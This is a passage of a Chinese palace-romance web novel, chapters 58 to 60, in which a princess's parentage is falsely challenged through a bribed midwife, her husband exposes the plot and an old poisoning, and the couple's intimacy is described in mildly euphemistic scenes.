马车之内,傅宝嘉迫不及待地与陆朝朝分享起那些事。陆朝朝被她问得面红耳赤,赶紧转移了话题。 二人在城中逛玩了一番,最后寻了一家茶楼休息。 傅宝嘉感慨:“不知不觉,咱们都嫁为人妇了。” 陆朝朝叹了声,点头。 二人说着话,忽地傅宝嘉道:“那不是你家谢妄吗?” “你家谢妄”这几个字,听得陆朝朝脸热,“什么我们家……” 傅宝嘉重重咳嗽了声,那道身影便转过身来,看见了二人。 谢妄身侧站着另外几位年长些的官员,他看了过来,陆朝朝也不好装作没看见,只得同他打了个招呼。 陆朝朝没想到谢妄会撂下他们过来跟自己说话,那几位年长些的官员都盯着他们看。 “你怎么过来了?我只是刚好遇上,跟你打个招呼。”陆朝朝说。 谢妄将她拥入怀中,在她额角轻吻了下,道:“我今晚可能会晚些回去。” 陆朝朝没想到他这么大胆,这么大庭广众之下就亲她,她面上温度更高,胡乱点头:“我知道了,你快回去吧。” 谢妄走后,傅宝嘉吸了口气,小声打趣:“不得了,谢妄真是换了个人似的。” 陆朝朝捧住发热的脸颊,她当然知道谢妄变化有多大,所以更禁不住这种打趣,察觉到周遭的眼光越来越多,她赶紧拉着傅宝嘉躲回雅 间里。 傅宝嘉笑说:“这下真是冤家变爱侣了。” 第58章 第五十八输得心服口服。 陆朝朝嗔她一眼,目光却忍不住从窗牖缝隙里追随着谢妄背影,他偏头和身边的年长官员说话,不知说了些什么,只看见谢妄微微一笑。 陆朝朝微咬下唇,她也不知道谢妄今天抽了哪门子疯,竟然毫不避讳旁人在场。正如傅宝嘉所说,简直像换了个人似的。 那年长些的几位官员都与谢正霄交情不差,也算看着谢妄长大,自然知晓他的脾性,今日见此情景,不免打趣他:“这成了家的男人就是不同些,缜之可曾想到自己也有今日?” 他们可都记得当年谢妄与这位昭阳公主见面便闹不愉快,今时不同往日了。 谢妄只笑了笑,的确未曾预料到。 茶楼里还有其他客人,有人认得这几位,自然惊讶得不得了。也有人虽不认识谢妄,却听说过他们的传闻,听得旁人议论,也跟着议论起来。不多时,茶楼附近都知晓了此事。 章安澜与同僚出来时,便听得街头的百姓们正在讲述此事,他脸色微变。同僚并不知个中关窍,也跟着打趣说:“果然英雄难过美人关,就连谢大人也不能例外。” 章安澜没有答话,心下只觉出一种难言的悲哀。这些时日,他将自己放逐在官场里,拼命地努力,很想往上爬,他想道,总有一日他会超越谢妄。当下听得这些,却心生一阵惶然,他一向不认为自己比谢妄差,可是谢妄的地位还是太高了,不论他怎么努力,短时间内也不可能超越谢妄。等到他超越谢妄那日,他的公主只怕早就满心满眼都是谢妄了。 为何命运如此不公,他只不过是因为出身差些,费尽周折才能被看重被培养,倘若他有同谢妄一般的出身,又何须浪费那些时间?他可以更早地走到他的小公主面前,不会再被别人捷足先登。 至于谢妄,章安澜无声冷笑,亦是小人行径,夺人所爱。 章安澜很快将情绪藏好,和同僚告了别。 他在京城租赁了宅邸,家中只请了几个家仆,算不上热闹,每日归家时,总觉有些冷清。章安澜时常想,若是有个女主人在,定然会热闹许多。他在想这些的时候,心里涌现出的都是陆朝朝的脸。 没想到今日归家时,家中竟有客人在。 章安澜听得管家通报,一时蹙眉不解,还以为是哪位同僚,亦或是先前一同考过春闱的同窗。他轻嗯了声,转去花厅待客,一进门,只看见一个婢女在。 婢女衣着不凡,应当是哪位大户人家的婢女。章安澜迟疑之际,婢女已然自报家门:“章大人,我是明月公主的婢女,我们殿下有几句话托我带给您。” 原来是陆皎月的人,章安澜心下了然,道:“殿下有什么话?” 陆皎月被禁足三月,如今还未到时间,不知找他有什么事,或许,是想让他帮忙去陛下面前美言几句?这几个月过去,他已经在崇光帝面前露过几次脸,崇光帝对他颇为赞赏,虽说比不得谢妄那般看重,但到底也能说上些话。 婢女说:“我们殿下说,她有一件事想与您合作,若是您肯,日后必有享不尽的荣华富贵。” 章安澜没有立刻给出回答,只是沉默。 那婢女也并未要他立刻回答,只说:“大人可以考虑三日,三日之后,奴婢会再来拜访,等候大人的回答。” 婢女说完这一句,便转身离开。 章安澜看着婢女背影,眉头愈发拢起,享不尽的荣华富贵?凭她陆皎月一个公主,能有这种本事?何况如今二皇子失势,而大皇子已经被立为太子,她陆皎月一个同父异母的妹妹,更不可能有这样的本事,许诺他享不尽的荣华富贵。 除非她意欲做一些大逆不道之事。章安澜心下微惊,她竟如此胆大妄为? 章安澜下意识便想拒绝这场合作,转念却又想到今日在街上听到的那些,倘若他正儿八经地努力,何年何月才能取代谢妄的位置?倘若,他答应陆皎月,与她共谋,他或许当真会有享不尽的荣华富贵。只是那样的章安澜,他的昭阳会喜欢吗? 章安澜垂眸,陷入深思。 三日之后,那婢女如约而至,登门的不止婢女,还有陆皎月。 “章大人,你考虑得如何了?”陆皎月乔装过,才得以出宫,虽说是打扮成婢女模样,但眉目之间仍是傲气逼人。 章安澜不答反问:“明月公主便不怕,臣将此事告知陛下?” 陆皎月轻笑说:“告知陛下什么?告知陛下,本宫爱慕大人,所以偷偷溜出宫来与大人见面?无所谓啊,父皇无非再让我禁足久一些。亦或者,父皇感念本宫对大人一往情深,为我二人赐婚呢。” 她一顿,继续说:“毕竟如今昭阳已经与谢妄成婚,琴瑟和鸣,父皇不必再考虑将你留给昭阳了。而本宫对大人痴情至此,想必父皇会同意的。” 章安澜眸色微沉,这倒也是,他并没有任何证据证明陆皎月想做什么,只有她身边婢女的只言片语。即便他捅出去,谁又会相信? 他看向陆皎月,问:“殿下想与我合作什么?” 陆皎月只说:“二皇子。” 章安澜道:“陛下已经立了太子,且对二皇子颇为失望。” 陆皎月笑了:“自古以来,又有多少太子能顺利登基为帝呢?皇位之争,从来都是能者居之。父皇对我二哥失望,可若是只有二哥一位合适的皇子呢?” 虽然陆皎月也不喜欢陆明礼,可比起陆明礼,她更不能接受皇位落在大皇子手里,不论如何,陆明礼与自己还是一母同胞,是皇后所出,可若是大皇子登基,隔了一层,又哪里会有他们的好日子过? 章安澜眸色一凛,轻笑说:“公主想除掉大皇子,未免有些痴人说梦了。” 陆皎月对他的轻视冷哼一声,人人都觉得她没本事,她偏偏要叫这些人看看自己的本事。 “那就不是你该操心的事了,我自然有我的计划。” 章安澜默了默,又问:“可臣又能帮公主什么呢?臣虽然有些许权势,但在殿下面前,显然不够看。” 陆皎月道:“你当然可以,怎么,章大人对自己不够自信?” 章安澜又是一默。 陆皎月也没有逼迫他给出答案,只说:“无妨,章大人可以再考虑些时日,本宫也不急在一时。章大人过些日子,便能知晓本宫有没有这本事了。” 章安澜送陆皎月离开,心下隐隐有些不安,心里却又叫嚣着权力的滋味。他想要权力,想要站在高处,这是他自幼便清楚地的事,如今又多了一个必须胜过谢妄的执念- 秋日里萧条起来,窗边那棵树的叶子已经黄了大半。今日谢妄休沐,待在家中,陆朝朝和他一道在廊下作画。 正是晌午时分,日头忽然被云层遮住,天色阴沉起来,陆朝朝偏头看了眼谢妄的画,好奇道:“你画完了吗?” 二人约定画那棵树,可她定睛一看,画纸上哪有树,分明只有一个她。 陆朝朝一时怔住,“你画我做什么?” 谢妄道:“朝朝比树好看。” 陆朝朝瞥他一眼,唇角忍不住上翘。 她道:“那你输了,你没按照拟定的题目作画。” 谢妄道:“输得心服口服。” 陆朝朝看了眼天色,命人把画架子搬回去:“瞧着像要下雨了。” 陆朝朝转身回到走廊里,见水月匆忙而来:“殿下,宫中急召,道是陛下让您进宫一趟。” 陆朝朝疑惑:“父皇召我进宫?难不成父皇身子不舒服?” 她想着,当即有些担忧:“备马车,我马上进宫。” 谢妄亦跟着她一起进宫。 在进宫的马车上,陆朝朝总觉得心慌得厉害,她自言自语道:“不会父皇真出了什么事吧?” 谢妄握住她的手安抚:“不会,别担心。” 陆朝朝强自镇定下心神,直至马车入了宫,她步履匆匆直奔 千福殿去。 待进了千福殿,崇光帝歪倚着罗汉榻,看向她。 陆朝朝着急开口:“父皇,您没事吧?” 崇光帝摇了摇头,而后看向一旁的陆皎月,道:“如今朝朝来了,你说吧,到底是什么事,如此重要?” 陆朝朝这才发现原来陆皎月也在,陆皎月一脸得意的神色,抬了抬手,未几,有一人被带了上来。陆朝朝不知道她葫芦里到底卖的是什么药,看向那人。 那是个女人,跪在殿下,四十来岁的年纪。 崇光帝也有些不解,只觉得这女人有些眼熟。 陆皎月道:“你且说说吧,你自己都做过一些什么事。” 那女人瑟缩着开口:“民妇……当年曾为贤妃娘娘接过生……” 这话一出,崇光帝与陆朝朝皆是一惊,看向妇人。 崇光帝道:“你抬起头来。” 那妇人抬起头来,崇光帝仔细端详着她,点了点头:“不错,朕记得你,你的确曾为贤妃接生。” 陆朝朝亦看着那妇人,心里却始终沉沉的。 崇光帝被这妇人的出现勾起了一些回忆,那时贤妃命悬一线,虚弱地拼尽全力将孩子生下,临死之前,还特意叮嘱他,请他莫要因为自己的死而降罪太医和接生的稳婆,又说请他一定要善待他们的女儿。 那妇人继续说道:“当年陛下仁慈,为着小公主的降生而赏赐了民妇。民妇……民妇有罪……民妇犯下了欺君大罪,请求陛下宽恕。” 崇光帝眉头一紧:“什么欺君大罪?” 那妇人道:“当年……当年贤妃的确曾诞下一位小公主,只是小公主刚生下来便咽了气,民妇怕陛下怪罪,便私自找了一个婴孩,谎称是贤妃娘娘诞下的公主。” 她说着,看向陆朝朝。 陆朝朝顿觉五雷轰顶一般,身形一晃,驳斥道:“你胡说八道!” 第59章 第五十九在他唇角蹭了一下。 这一定是陆皎月的阴谋,她在陷害自己,陆朝朝瞪向陆皎月,指着她道:“你收买了她是不是?你叫她来父皇面前构陷这些,你好狠毒!” 陆朝朝胸膛剧烈起伏着,呼吸不定,她当然不会轻易相信那个稳婆的话,她是陆皎月找来的人,定然没安什么好心。陆皎月竟心肠歹毒到这种程度,用她的身世来做文章。 她复又看向那稳婆,质问道:“她给了你多少好处?你可知你如今犯下的才是欺君大罪?” 陆朝朝看向崇光帝:“父皇……” 她想,父皇不会相信这种拙劣的谎言的,父皇一向宠爱她,自然会相信她的。 可是父皇的脸上却出现了迟疑的神情,他的表情那般严肃,眼神有些许浑浊,仿佛从眼前的时空掉入了悠远的回忆里。 陆朝朝的心一下子沉了下去,像跌入深潭,四面八方的水涌上来将她包围,周遭的一切都变得沉闷起来。她并没有发现自己其实在颤抖,是谢妄宽厚的手掌握住了她的肩膀,温热的温度从他手心传来,融化了她周遭的沉闷,她才发现她在微微地颤抖。 谢妄的嗓音落在她耳畔:“别怕。” 他的声音还是一如既往的疏淡,却让陆朝朝觉得安心。 崇光帝的确陷入了回忆里,从刚才那个稳婆说完之后,他就陷入了回忆里。他眼前浮现的,是贤妃临死之前靠在他怀里的模样,她的嘴唇苍白如纸,毫无血色,平日里就温柔的人说话更是轻到几乎要听不见了。 崇光帝那时心如刀绞,他是至高无上的帝王,却在此刻也无能为力,或者说,其实他有许多无能为力的时刻,譬如说想要把皇后之位给他爱的女人,却被众人阻拦,不能给她,甚至于连累她背负骂名,而贤妃也从来不会怨怼他任何,甚至会宽慰他,说自己压根不在乎那些虚名,只要能陪在陛下身边,长长久久的就好。 可是连这也成了奢望,她再不能长长久久陪在他身边了,她的生命在一点一点流逝,一直到完全消逝,就在他怀里。 崇光帝只觉悲痛欲绝,许久才反应过来,让稳婆将小公主抱上来,那是贤妃留给他的女儿,他们的女儿,从那之后,他便对这个女儿倍加宠爱。 可是今日,却被告知,原来他们的女儿也早就死了,他与贤妃之间唯一的一点羁绊都断了。崇光帝一瞬间仿佛苍老了十岁,看向那稳婆,问道:“仅凭你一面之词,如何让朕相信?你可有什么证据,证明你所说的是真的?” 崇光帝养育了陆朝朝这么多年,自然有感情在,不至于只因为一句话就断定陆朝朝的身份是假的。他目光如炬,帝王的压迫感迎面而来,稳婆不由得瑟缩起来,低下头结巴道:“民妇……民妇有证据,当年贤妃娘娘的左背上有一胎记,小公主生下来时,左背上也有一块胎记,但是……民妇寻来的那婴孩并没有。” 崇光帝闻言,背脊崩塌下去。 陆朝朝亦是心沉了下去,她知道自己身上没有任何胎记。难道这稳婆说的是真的?难道她当真不是父皇与母妃亲生的女儿?难道…… 她几乎要站不住,倚着谢妄才勉强站定。 陆皎月将她的反应尽收眼底,露出个得意的眼神,终于让她等到这一天,陆朝朝马上毫无翻身之地。 陆朝朝声音轻到发虚:“可不过是一个胎记而已,又能证明什么?难道做母亲的有胎记,女儿便也一定有么?” 她的鼻子分明很像父皇,她怎么会不是亲生的呢? 还未待陆朝朝反应过来,崇光帝先出了事,他猛地吐出一口血,而后便昏迷了过去。 陆朝朝惊呼奔至崇光帝身侧:“父皇?!来人哪,快传太医!” 陆皎月上前一步,将陆朝朝推开,冷声道:“你这个冒牌货,凭什么唤父皇?来人哪,父皇晕倒了,快传太医。” 千福殿里乱成一团,太监宫女们进来,将崇光帝扶上床榻,太医很快便至,替崇光帝诊过脉。 陆朝朝站在千福殿内,来回踱步,心急如焚。 天色愈发阴沉起来,感觉有一场暴雨似的。 陆朝朝焦急地望向殿内,没等到太医,只等到陆皎月的身影。陆皎月居高临下睨她一眼,道:“来人哪,把这个冒牌货带下去,关押起来。” 陆朝朝脸色一变:“你凭什么这么说?” 陆皎月道:“事实已经很明了了,不是么?” 谢妄往前一步,护在陆朝朝身前,他高大身影气势威压,倒把陆皎月逼退了一步。 “谢妄,你想做什么?” 谢妄道:“明月公主似乎忘了,此事陛下尚未做出定夺,仅凭公主几句话,定不了任何罪名。在事情水落石出之前,昭阳公主便仍是尊贵的公主,是您的皇妹。” 陆皎月眸色阴狠:“你什么意思?” 谢妄眼神扫过一圈,看向那些上前的侍卫,这话也是警告他们。 侍卫们听了这话,自然不敢往前,他们本来也还云里雾里,并不知晓发生什么事,便都谨慎地退了下去。 陆皎月指着谢妄:“你!” 谢妄又道:“何况明月公主别忘了,退一万步说,她是臣的妻子,是谢家的儿媳,谁敢随便动她?” 陆朝朝站在谢妄身后,看着他宽厚的背影,垂下眼眸。 陆皎月不能奈陆朝朝何,只好恨恨作罢,道:“好,父皇是还没有做出定夺,但是父皇被你气出病来,这是无可辩驳的事实。我相信父皇不会想见到你在这里的,我劝你,还是滚远一些。” 陆朝朝心里记挂崇光帝的病,当然不会离开,她强硬道:“我不走,我要留在宫里,等到父皇醒过来。除非父皇亲口说,让我走,否则你没办法赶我走。” 陆皎月与陆朝朝对视,眯了眯眼,冷哼一声:“那你就等着好了,不过你别想见到父皇,我不会让你见父皇的。” 陆皎月说罢,进了千福殿里。 陆朝朝抬头看了眼天,一时有些无措。 今日之事于她而言的确堪称可 怕,她从前只需要仗着父皇的宠爱,想做什么都可以,没什么烦恼,最大的烦恼好像也只有章安澜和谢妄。可是一夕之间,忽然就变了。 陆朝朝不知道该怎么办才好了,她看向谢妄,他方才护在她身前的样子,让她下意识想要依赖。可是,她真的能依赖谢妄吗? 倘若她当真不是公主,那谢妄和她的婚姻还会像现在这样吗? 她不知道,只好站定原地没有动作。 是谢妄上前来,宽慰她:“先回曦光殿,你需要休息。” 陆朝朝嗯了声,身形虚浮地上了轿辇,和谢妄一起回到曦光殿。 曦光殿还是从前的老样子,陆朝朝环顾一圈这座自己住了十几年的宫殿,有些恍惚。她虽然不想相信陆皎月和那个稳婆的话,可是她忍不住地想,万一是真的怎么办? 那她算什么?一个鸠占鹊巢的小偷,偷走了别人的人生和幸福。 陆朝朝只觉得迷茫无助,她趴在紫檀方桌上,闭上眼睛。 谢妄没有打扰她,他知道她需要静一静。 他起身走到殿外,嘱咐风荷她们好生照顾陆朝朝,又唤来千山,低声吩咐了几句,让千山他们去查查这整件事。 这整件事都不对劲,只怕是陆皎月趁机搅浑水。但当年的事太过久远,当年贤妃身亡时是因陛下遇刺,本就局面混乱,如今再想查证什么,着实艰难,只有那稳婆一面之词。但也不是没办法,稳婆为何会将这事翻出来,甚至笃定死咬,无非是陆皎月许了她什么好处。但凡有过交易,总会留下蛛丝马迹。 何况那稳婆看起来也不是个硬骨头,撬开她的嘴想必不难。谢妄已经命千山去把人劫了。 此事一出,朝野皆惊。崇光帝昏迷的消息很快就传到了皇后和太后耳中,二人赶了过来。 皇后听说了缘由,心惊胆战地看向陆皎月,她总觉得这件事没那么简单,或许和她的女儿脱不开关系。她的女儿怎么会变成这样呢…… 太后并未怀疑陆皎月,只是说:“原来竟是个假冒的,也真是,难为皇帝这么多年宝贝着她。” 太后与皇后并未在陆朝朝的事情上耗费太多关注,转而关注起崇光帝的身体。太医说,崇光帝是因为一时情绪太过激动,这才昏迷了过去,按理说没有大碍,应当过些时日就会醒。可崇光帝这一昏迷,便是三日。 三日之后,崇光帝才转醒。 他醒过来时,人苍老了许多,睁开眼后,看见皇后与太后都在,几位公主与太子也在,就连被禁足的二皇子也在。二皇子见他醒来,擦了擦眼泪,跪下请罪:“请父皇恕罪,儿臣挂念父皇的身子,这才出了宫,儿臣马上便会回去禁足思过。” 崇光帝看着他的模样,终究是心软了,道:“罢了,朕解了你的禁足。” 崇光帝的视线落在最后边的陆朝朝身上,陆朝朝见崇光帝醒了过来,感激地笑了。 崇光帝道:“你们都出去,朝朝,皎月,你们留下。” 他还未将事情完全弄清楚,自然不会就这么算了。 “那稳婆呢,传她上来,再将当年之事,仔细与朕说说。”崇光帝说着,咳嗽起来。 陆皎月道:“那稳婆自觉对不起陛下与贤妃娘娘,已经自尽了。” 崇光帝闻言,一时默然许久。 如此一来,当真难办。 陆皎月看着崇光帝的反应,一时又有些恨意,父皇对那个贱人的爱便如此深,他最爱的就是那个贱人,甚至于对陆朝朝,也是沾了那个贱人的光。如今人已经死了,死无对证,留下一道似是而非的刺在他心里,凭他对那个女人的爱,定然不可能留下陆朝朝。 沉默之际,林顺进来禀报:“陛下,谢大人求见。” 崇光帝咳嗽了声,让林顺传人进来。 谢妄行过礼后,看了眼陆皎月道:“陛下,那稳婆其实还未死,被臣的人救了下来。臣已然审过她,她已经坦诚了自己全部罪行,包括如何被明月公主收买,污蔑昭阳公主身世。人就在殿外,陛下可要见见她?” 陆皎月听得这话,脸色骤然一变,怎么会,她不是让人把她杀了吗?好个谢妄,和自己对着干。 她先一步辩解道:“谢大人手段谁人不知,谁能保证谢大人不是屈打成招,让她污蔑于我。” 崇光帝默了片刻,道:“将人带进来,皎月,你下去。” 陆朝朝站在原地没动,崇光帝看了眼她,道:“你也下去吧。” 陆朝朝转身,又不忍回头:“父皇,您保证身子,不论如何,别再让自己病着了。” 崇光帝心念一动。 那稳婆很快被带了上来,她比上一次看起来更为惊恐,稳婆没想到,自己会被灭口,她本来也只是贪图好处,不想因此丢了性命,没多久就全都招了。这会儿对着崇光帝,又重复了一遍。 “陛下饶命,陛下饶命,都是明月公主指使民妇这么说的。她说,只要民妇听她的,她就给民妇的儿子一个官做,让民妇一家从此享尽荣华富贵。” …… 稳婆全都招了,崇光帝听完,沉思良久。因为这件事,他回忆起了很多和贤妃有关系的事,一时间又悲痛起来。幸好,他们的女儿还活着。可转念又想到,他的另一个女儿,怎么会用这般恶毒的心思和手段呢?他或许偏爱陆朝朝,可对皎月,也是爱的。他不明白皎月怎么会恨朝朝至如此地步? 崇光帝让他们都下去之后,又传了谢妄进来,谢妄除了是他的女婿,还是他得力的臣子,他将这事交托给谢妄。 谢妄领命,一顿之后,又说出了一件让崇光帝大为惊骇之事:“陛下,臣还查到另一件事,与皇后娘娘和贤妃娘娘有关系。” 崇光帝:“说。” 谢妄:“当年贤妃娘娘因受伤提前生产,虽气血亏虚,但并未立刻致命。是有人在贤妃娘娘喝的参汤里做了手脚,下了毒,这才导致贤妃娘娘生产完便去世了。” 他一顿:“是皇后娘娘所为。” 这三日,他可谓是不眠不休,将当年所有有关之人都查了一遍,怎么也没想到,还有如此真相。 崇光帝听罢,忽地笑了两声:“好,好,原来竟是如此。来人哪,让皇后来见朕。” 陆皎月一众人等守在殿外,她心下了然,此番恐怕难逃责罚,不知父皇会怎么责罚自己,却没想到,父皇先宣了母后。而母后的脸上,竟然露出了一种解脱的表情。 皇后进了殿,和崇光帝四目相对,一声叹息:“臣妾一直提心吊胆,到今日,竟然有种解脱之意。” 崇光帝沉默着,他自然知道他对不住皇后,皇后没有过错,他却要废后。可是她应该憎恨自己,而不是贤妃。 皇后道:“一念成佛,一念成魔。臣妾不欲辩驳任何,只是恳求陛下,宽恕皎月。她只也是被仇恨蒙蔽了双眼,恳请陛下送她去道观静养余生吧。” 崇光帝又是一阵良久的沉默,终究是同意了。 不多时,崇光帝下旨,废皇后郑氏,幽禁于宫中,送明月公主于京郊的道观静养余生,非诏不得离开。 陆皎月看向皇后,不理解为什么因为她的错处会牵连到皇后,她闭了闭眼,想到自己原本的计划。倘若没有谢妄,她的计划便是先借此事让父皇大受打击,而她趁机给父皇下药,父皇病倒之后,她便让二哥出来,父皇感念二哥的孝顺,定然会放二哥出来。她再想办法给父皇下毒,将下毒之事栽赃给大皇子,顺势让二皇子接手国事。 如今事已至此,只要她不离开皇宫,她的计划还有实施的机会。她正欲起身辩驳,却被皇后拉住,皇后痛心疾首道:“皎月,不要一错再错了。你若是再错下去,只会连累郑氏一族,连累你二哥。” 陆皎月一怔,而后才知晓原来当年贤妃之死,是她这位一向温婉贤淑的母后所为。陆皎月看着 皇后,忽地笑了起来,原来她的母后,也不是那么软弱- 事情似乎告一段落,陆朝朝陪着崇光帝喝了药,而后才回到曦光殿。 曦光殿外,谢妄在等她。 陆朝朝与他一道走进殿内,极小声地问了一句:“若我当真并非公主,你会休了我吗?” 谢妄看她:“这二者有什么联系?” 俨然她问这问题愚蠢至极的意思。 陆朝朝撇了撇嘴,而后忽地踮脚,在他唇角蹭了一下。 第60章 第六十章在他唇上啄了一下:“这样可…… 她的动作太过猝不及防,谢妄并未担心过来,一怔之后回神,陆朝朝已然退远了。 谢妄眸光凝了凝。 陆朝朝有些害羞,这念头方才在脑中一闪而过,她甚至都没及思考便被这念头牵着走,待反应过来自己做了什么时,她只觉心跳如雷,逃也似的跑开了。 陆朝朝感觉到自己的脸上在发热,她故作镇定地转至美人榻上坐下,自顾自倒了杯茶水,实际上心已经快从嗓子眼里跳出来,连茶水是什么滋味都没知觉,只是一口接一口地往下灌。她目光好似专注地落在面前的茶水上,实则余光一直注意着谢妄的动作。 谢妄愣在了原地没动,眼神朝她看了过来。 他是不是很惊讶自己竟然会主动亲他?他是不是很高兴?他会不会很得意? 陆朝朝心思有些纷乱,一茬接一茬地往外冒,不觉手中玉盏早已经空了。 谢妄往前跨几步,立在她身侧。 她便又紧张起来,纷乱的思绪戛然而止,只余下一种紧绷的期待。 他……走过来了,会说什么呢? 她指腹轻轻摩^挲着玉盏边缘,眨动睫羽。下一瞬,玉盏便从她指尖滑落,她惊呼一声,被谢妄抓进他怀里。他坐在榻上,陆朝朝坐在他腿上。 陆朝朝心跳得更快,想看他,又有些不大好意思,将眉眼微微垂落。 谢妄勾住她下巴,缠吻上来。 他的动作不算轻柔,也算不得粗暴,只是能让陆朝朝感觉到他的热切。 刚过了午时,今日天气不错,外头出了太阳,透过窗纱落进来,映出一双影子。婢女们都在外头候着,内殿只有他们两个人,安静得有些过分。陆朝朝承受着谢妄的吻,她微微眯着眼,忽地用舌尖勾了一下他的。 谢妄动作一顿,凝眸看她。 陆朝朝垂下眸子,紧跟着感觉到他的动作更加激^烈。他应该很兴奋,因为比往日更加口口地贴着她。陆朝朝原本白皙的面庞涌上一阵绯色,笨拙地回应他的吻。 吻着吻着,事情便有些不受控制。 陆朝朝看了眼窗牖,小声道:“还是白天……” 谢妄在她耳畔道了一句:“白日宣……” 陆朝朝瞪大双眼,迟疑了片刻,还是妥协了。 今天的陆朝朝比平日里主动许多,谢妄自然更克制不住。陆朝朝醒过来时,天色已经黑了,殿内上了灯,她撑起身,缓了缓神才记起来不久前发生的一切,又一阵脸热。 枕边是空的,谢妄不在。陆朝朝正欲唤人,便听得脚步声从外边传来,谢妄的身影绕过落地象牙障屏,朝她走来。 “醒了?”他在床边坐下,将她耳边掉落的碎发别到耳后,“要不要吃点东西?” 陆朝朝嗯了声,忙碌了一下午,她腹中空空,现下正是饥肠辘辘。谢妄轻勾唇角,命她们传晚膳进来。 下晌婢女们都在外头候着,并不知晓殿内发生了什么,陆朝朝也不愿叫她们察觉,都压抑着自己不让自己发出太大的声响。谢妄这个恶趣味的人,发现她不愿意叫她们知晓之后,反而更深地弄她,似乎就是要让她压抑不住自己的声音。陆朝朝气得在他肩上咬了一口,很用力的一口,都把他的肩膀咬出了血。肩膀的痛楚显然不能阻止谢妄的恶趣味,反而叫他更从中得趣。 谢妄抱着她行至门边,感觉到陆朝朝的紧张,在她耳边轻笑出声,还揶揄她。柱子冰冰凉凉地贴在后背,面前又是火^热的胸膛,在冰火两重天里,陆朝朝弄脏了谢妄的衣裳。 …… 记起这些,陆朝朝又恼起来,从金丝软被里伸出一截白皙的小腿,在谢妄腿上踢了一脚泄愤。 她道:“不许叫她们传膳进来,否则她们一看不就知道发生什么了……你不要脸,我还要呢。” 她声音细细的,仍沾了一些余韵的慵懒。 谢妄眼中笑意更深:“好。” 谢妄起身,走向门口,与门外的风荷说了几句,不多时,他重新端了漆金托盘进来,盘中有几个银碟,呈着饭食,是她素日里最爱吃的几道菜。谢妄将托盘搁在床头的圆几上,拿过玉箸,喂她进食。 陆朝朝这会儿又累又饿,顾不上许多,任由他喂了。 用过晚膳后,陆朝朝简单收拾了一番,而后才让她们准备热水沐浴。她不愿让风荷她们看出端倪,可若是风荷她们进来伺候她沐浴,事情定然东窗事发。 陆朝朝瘪着嘴,怨念地看向谢妄。 谢妄道:“我来伺候殿下沐浴。” 谢妄说到做到,果真亲自伺候她沐浴。风荷她们放好热水后,谢妄让她们退下去,他去床边将陆朝朝打横抱起,放她进浴池。陆朝朝趴在浴池边缘,被热水包裹住,不由得发出一声喟叹。 谢妄在一旁坐着,看了眼香胰、香粉之类的,疑惑了一番,他还真没做过这种事。陆朝朝看着他的神情,嘴角翘了翘,指挥他。 “用那个。” 陆朝朝面容浮现几分享受的神色,又起了些故意作弄的心思,将水弄到谢妄身上,打湿他的衣裳。谢妄眸色微沉,竟是下了水来。 陆朝朝头皮有些发麻,她不该惹他的,识时务者为俊杰,她求饶道:“不行,我真的好累,我要散架了。” 但是谢妄不为所动,陆朝朝往旁边躲,没几步,又被谢妄抓了回来。 距离坦诚相交才没多久,自然轻而易举进去。 陆朝朝想到什么,嘟囔道:“你不是水性不好吗?” 谢妄道:“只是不会游泳,这点深度何须游泳?” 倒也是…… 从浴池里出来,陆朝朝是真的感觉自己要散架了。她从前不觉得自己体力很差,现在觉得和谢妄比起来,她的体力实在太差了。 谢妄将她仔细洗干净,替她换上干净的寝衣,抱她回床榻上。 这一夜,陆朝朝一枕无梦。 次日一早,陆朝朝去千福殿看望崇光帝。 因着上回的事,崇光帝看陆朝朝便有些愧疚。 陆朝朝摇了摇头:“儿臣知道,父皇之事太爱母妃了,所以才会有所怀疑。儿臣不怪父皇,父皇一定要养好身子,再陪儿臣几十年。等儿臣给父皇生外孙,再带外孙陪父皇。” 崇光帝叹了声,愈发觉得自己老了,感慨过后,又笑了起来。听朝朝的话,她与谢妄近来倒是感情不错。 陆朝朝垂下眸子,小声说:“嗯……谢妄他……挺好的。” 崇光帝笑起来:“那朕的外孙,何时能有消息?” 陆朝朝有些不好意思起来:“父皇!”- 明月公主与皇后的事,让太后也大受打击。太后当年虽不喜欢贤妃,一直站在皇后这边,却没想过,贤妃之死竟是皇后所为。至于她最疼爱的孙女,更是如此大逆不道,为了一己私欲,甚至给皇帝下药。太后亦病了一场,病好之后,便深居简出了。 明月公主意欲谋逆的事到底没有翻出来,只是停在她因为不喜欢昭阳公主而陷害,甚至害崇光帝的事上。 不知不觉,冬日的气息便裹挟京城。 这日冬至,街巷里都透露着热闹,念着阖家团圆。章安澜在路上遇见陆朝朝,他恭敬行过礼,唤了声殿下。 陆朝朝有些时日没看见章安澜,愣了愣,才唤了一声章大人。 “殿下安好。”章安澜说。 陆朝朝看着章安澜,只觉得波澜不惊,恍然在想,自己喜欢过他的事像是一百年前发生的。 陆朝朝 正欲说些什么,身后谢妄走出来,她的注意力便转向谢妄身上。在见到谢妄的一瞬间,章安澜看见她的眉目流转。 谢妄轻睨章安澜一眼,并未说什么,只和陆朝朝说话:“母亲说今夜家宴,叫咱们早些回去。” 陆朝朝点头,表示自己明白,而后便被谢妄牵着手带回马车上。她回头看了眼章安澜,礼貌地笑了笑。 章安澜看着二人的背影,又抬头看了眼灰暗的天色,倏地记起那天他听说陆皎月做了什么之后,去见她,问她为什么要这么做。陆皎月却说:“你这么着急做什么?我又没要她的性命,只不过要她跌进泥潭罢了。这样不是更好么?她不再是高高在上的公主了,说不定谢妄便会抛弃她,到那时候你的机会不就来了?” 那一刻,章安澜竟觉得陆皎月说得对。 北风凛冽如刀,扑在脸上,章安澜转过身,与谢家的马车背道而驰。 可她当永是昭阳- 马车之内,谢妄脸色有些冷。 陆朝朝觉得他莫名其妙:“那都是以前的事了,你好小气。” 谢妄沉默不语。 陆朝朝又说:“谁叫你以前那么讨人厌的。” 谢妄还是没说话。 陆朝朝倾过身子,在他唇上啄了一下:“这样可以了吧?” 谢妄表情终于有所松动,握住她的手,又追上来贪卷她的唇舌。一吻结束,谢妄又有些心猿意马。陆朝朝坐在他怀里,气喘吁吁。 “千山,先别回府,再逛一圈。”谢妄淡淡吩咐道。 陆朝朝正疑惑,不是说母亲叫他们早些回去吗?怎么还要再转一圈? 很快她便知道了。 她觉得她一点都没说错,谢妄他就是个色^鬼! 二人归家时,还是晚了一些。 谢家大门口的灯笼明亮,照出二人的影子。陆朝朝有些腿软地扶着谢妄的手下马车,面上绯粉还未完全消退。 其他人都已经入了席,陆朝朝和谢妄二人也入了座,林娇问了一句:“怎么这么晚才回来?” 这话是问谢妄。 陆朝朝轻咳了声,余光看向谢妄,谢妄道:“有些事耽搁了。” 